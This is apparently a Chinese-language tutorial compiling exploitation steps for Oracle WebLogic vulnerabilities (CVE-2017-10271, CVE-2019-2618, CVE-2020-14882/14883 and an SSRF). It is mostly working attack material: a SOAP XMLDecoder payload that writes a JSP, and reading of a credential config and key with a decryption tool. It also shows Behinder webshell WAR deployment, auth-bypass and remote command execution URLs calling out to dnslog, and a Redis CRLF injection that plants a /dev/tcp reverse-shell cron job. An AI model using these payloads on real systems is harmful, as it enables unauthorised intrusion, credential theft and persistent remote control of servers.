Weblogic漏洞利用總結(jié)
weblogic簡介
Weblogic是美國Oracle公司出品的一個應用服務器(application server),確切的說是一個基于Java EE架構(gòu)的中間件,是用于開發(fā)、集成、部署和管理大型分布式Web應用、網(wǎng)絡應用和數(shù)據(jù)庫應用的Java應用服務器
Weblogic將Java的動態(tài)功能和Java Enterprise標準的安全性引入大型網(wǎng)絡應用的開發(fā)、集成、部署和管理之中,是商業(yè)市場上主要的Java(Java EE)應用服務器軟件之一,也是世界上第一個成功商業(yè)化的Java EE應用服務器,具有可擴展性、快速開發(fā)、靈活、可靠等優(yōu)勢。
在功能性上,Weblogic是Java EE的全能應用服務器,包括EJB 、JSP、servlet、JMS等,是商業(yè)軟件里排名第一的容器(JSP、servlet、EJB等),并提供其他工具(例如Java編輯器),因此也是一個綜合的開發(fā)及運行環(huán)境。在擴展性上,Weblogic Server憑借其出色的群集技術,擁有處理關鍵Web應用系統(tǒng)問題所需的性能、可擴展性和高可用性。
漏洞匯總

CVE-2017-10271
漏洞簡述
Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數(shù)據(jù),在解析的過程中出現(xiàn)反序列化漏洞,導致可執(zhí)行任意命令。攻擊者發(fā)送精心構(gòu)造的xml數(shù)據(jù)甚至能通過反彈shell拿到權限。
漏洞影響版本
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
漏洞觸發(fā)地址
/wls-wsat/CoordinatorPortType/wls-wsat/RegistrationPortTypeRPC/wls-wsat/ParticipantPortType/wls-wsat/RegistrationRequesterPortType/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11
漏洞復現(xiàn)
1.訪問觸發(fā)此漏洞的 ip:7001//wls-wsat/CoordinatorPortType

2.使用burp抓取請求包后發(fā)送至repeater模塊,將數(shù)據(jù)包修改成構(gòu)造好的payload
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: ip:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 637<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% out.print("123"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>


成功寫入123
3.反彈shell
構(gòu)造好反彈shell的命令,在vps上使用nc監(jiān)聽4444端口


成功反彈
CVE-2019-2618
漏洞簡述
利用任意文件讀取來獲取weblogic的弱口令登錄進入后臺,然后通過上傳getshell,通過構(gòu)造任意文件下載漏洞環(huán)境讀取到后臺用戶名和密碼,然后登陸進后臺,上傳webshell。
漏洞影響版本
WebLogic 10.3.6.0、12.1.3.0、12.2.1.3
漏洞復現(xiàn)
1.任意文件讀取
訪問url (http://IP:7001/hello/file.jsp?path=/etc/passwd) , 成功讀取到賬號和密碼

不過只能讀取一些文件,如何更深層次利用這個漏洞呢?weblogic密碼使用AES(老版本3DES)加密,對稱加密可解密,只需要找到用戶的密文與加密時的密鑰即可。這兩個文件均位于base_domain下,名為SerializedSystemIni.dat和config.xml。SerializedSystemIni.dat是一個二進制文件,所以一定要用burpsuite來讀取,用瀏覽器直接下載可能引入一些干擾字符。在burp里選中讀取到的那一串亂碼,這就是密鑰,右鍵copy to file就可以保存成一個文件:
http://yourIp:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
config.xml是base_domain的全局配置文件,所以亂七八糟的內(nèi)容比較多,找到其中的的值,即為加密后的管理員密碼
http://yourIP:7001/hello/file.jsp?path=config/config.xml
下載工具進行解密
(下載地址:https://github.com/TideSec/Decrypt_Weblogic_Password)
使用其中的工具5進行解密

2.后臺上傳getshell
1.使用解密后的賬號密碼登錄后臺,weblogic常見的弱密碼
https://cirt.net/passwords?criteria=weblogic這里使用 用戶名:weblogic 密碼:Oracle@123 登錄
2.進入后臺后點擊左邊的部署,找到可以上傳文件的地址

3.生成一個war包
war是一個可以直接運行的web模塊,通常用于網(wǎng)站,打成包部署到容器中。war包放置到web目錄下之后,可以自動解壓,就相當于發(fā)布了。簡單來說,war包是JavaWeb程序打的包,war包里面包括寫的代碼編譯成的class文件,依賴的包,配置文件,所有的網(wǎng)站頁面,包括html,jsp等等。一個war包可以理解為是一個web項目,里面是項目的所有東西
這里使用冰蝎里面自帶的jsp一句話生成war馬
jar -cvf shell.war shell.jsp
生成war后將war馬部署上去


4.使用冰蝎進行連接(默認密碼為rebeyond),成功getshell

CVE-2020-14882
漏洞簡述
遠程攻擊者可以構(gòu)造特殊的HTTP請求,在未經(jīng)身份驗證的情況下接管 WebLogic Server Console,并在 WebLogic Server Console 執(zhí)行任意代碼。
漏洞影響版本
Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0
CVE-2020-14883:權限繞過漏洞
遠程攻擊者可以構(gòu)造特殊的HTTP請求,在未經(jīng)身份驗證的情況下接管 WebLogic Server Console。權限繞過漏洞(CVE-2020-14883),訪問以下URL,未授權訪問到管理后臺頁面(低權限的用戶)
/console/images/%252E%252E%252Fconsole.portal/console/css/%252e%252e%252fconsole.portal(小寫可繞過補?。?/span>/console/css/%25%32%65%25%32%65%25%32%66console.portal

此時的權限很低,并不能在后臺安裝應用,所以需要結(jié)合CVE-2020-14883漏洞
CVE-2020-14882 : 代碼執(zhí)行漏洞
結(jié)合 CVE-2020-14883 漏洞,遠程攻擊者可以構(gòu)造特殊的HTTP請求,在未經(jīng)身份驗證的情況下接管 WebLogic Server Console ,并在 WebLogic Server Console 執(zhí)行任意代碼。
該漏洞有兩個利用手法
利用 com.tangosol.coherence.mvel2.sh.ShellSession 執(zhí)行命令利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 執(zhí)行命令
1. 利用 com.tangosol.coherence.mvel2.sh.ShellSession 執(zhí)行命令
DNSLOG的使用
DNSLOG可以在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發(fā)起DNS請求,這個時候就可以通過這種方式把想獲得的數(shù)據(jù)外帶出來。
進入DNSLOG平臺 http://www.dnslog.cn/ ,點擊GET 獲取一個域名,然后使用payload執(zhí)行命令
http://IP:7001//console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20xx.dnslog.cn');")

直接訪問URL
http://ip:端口/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")進入docker容器中可以看到文件以成功創(chuàng)建

這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10版本并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 類
2.利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext執(zhí)行命令
一種更為通殺的方法,對于所有Weblogic版本均有效。但是必須可以出網(wǎng),要可以訪問到惡意的xml。首先需要構(gòu)造一個XML文件,并將其保存外網(wǎng)(漏洞機或者可訪問的一臺機子上)上
XML文件:
<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[curl pnw46y.dnslog.cn]]></value></list></constructor-arg></bean></beans>
然后通過構(gòu)造如下URL,即可讓Weblogic加載這個XML,并執(zhí)行其中的命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://ip.xml")
getshell
訪問頁面 (http://ip:7001/console/login/LoginForm.jsp) 使用burp抓包,修改請求包為構(gòu)造好的payload


也可以直接下載大佬寫好的工具,下載地址(https://github.com/backlion/CVE-2020-14882_ALL)

ssrf漏洞
漏洞描述
Weblogic中存在一個SSRF漏洞,利用該漏洞可以發(fā)送任意HTTP請求,進而攻擊內(nèi)網(wǎng)中redis、fastcgi等脆弱組件。
SSRF漏洞可以通過篡改獲取資源的請求發(fā)送給服務器,但是服務器并沒有檢測這個請求是否合法的,然后服務器以他的身份來訪問其他服務器的資源。
漏洞影響范圍
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 10.0.2.0
redis簡介
Redis是一個開源的使用ANSI C語言編寫、遵守BSD協(xié)議、支持網(wǎng)絡、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫,并提供多種語言的API
它通常被稱為數(shù)據(jù)結(jié)構(gòu)服務器,因為值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等類型。
漏洞復現(xiàn)
瀏覽器訪問存在漏洞的地址 SearchPublicRegistries.jsp
http://192.168.31.187:7001/uddiexplorer/SearchPublicRegistries.jsp1.使用burp抓包后看到參數(shù)operator的參數(shù)是一個url,這個就是利用點 ,構(gòu)造請求,通過改變url的端口來做一個端口檢測 ( 通過錯誤的不同,即可探測內(nèi)網(wǎng)狀態(tài)。)
可訪問的端口將會得到錯誤,一般是返回狀態(tài)碼(如下圖)

修改為一個不存在的端口,將會返回錯誤`could not connect over HTTP to server`。

如果訪問的非http協(xié)議(內(nèi)網(wǎng)),則會返回`did not have a valid SOAP content-type`。

利用redis反彈shell
weblogic的ssrf有一個比較大的特點,其雖然是一個GET請求,但是我們可以通過傳入**%0a%0d**來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就是說我們可以通過該SSRF攻擊內(nèi)網(wǎng)中的redis服務器。首先通過ssrf探測內(nèi)網(wǎng)中的redis服務器,通常redis端口為6379
1.首先,通過ssrf探測內(nèi)網(wǎng)中的redis服務器(docker環(huán)境的網(wǎng)段一般是172.*)
2.構(gòu)造redis反彈shell命令
testset 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.191.3/4444 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsaveaaa
3.繞過攔截
http://ip/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E191%2E3%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa%0A%0A%0D%0A4.使用nc(windows)監(jiān)聽4444端口
5.將url編碼后的payload使用POST請求發(fā)送

6.成功反彈shell

7.然后可以進入redis容器中查看定時任務 定時任務存放地址為 /etc/corntab

最后還有一個weblogic一鍵漏洞掃描檢測工具,提供一鍵poc檢測,收錄幾乎全部weblogic歷史漏洞。
下載地址
https://github.com/rabbitmask/WeblogicScan 原版https://github.com/dr0op/WeblogicScan 修改版,多一個CVE檢測,高亮美化https://github.com/21superman/weblogic_exploit 21superman寫的,漏洞比較全面
使用方法 python3 WeblogicScan.py [ip] [port]
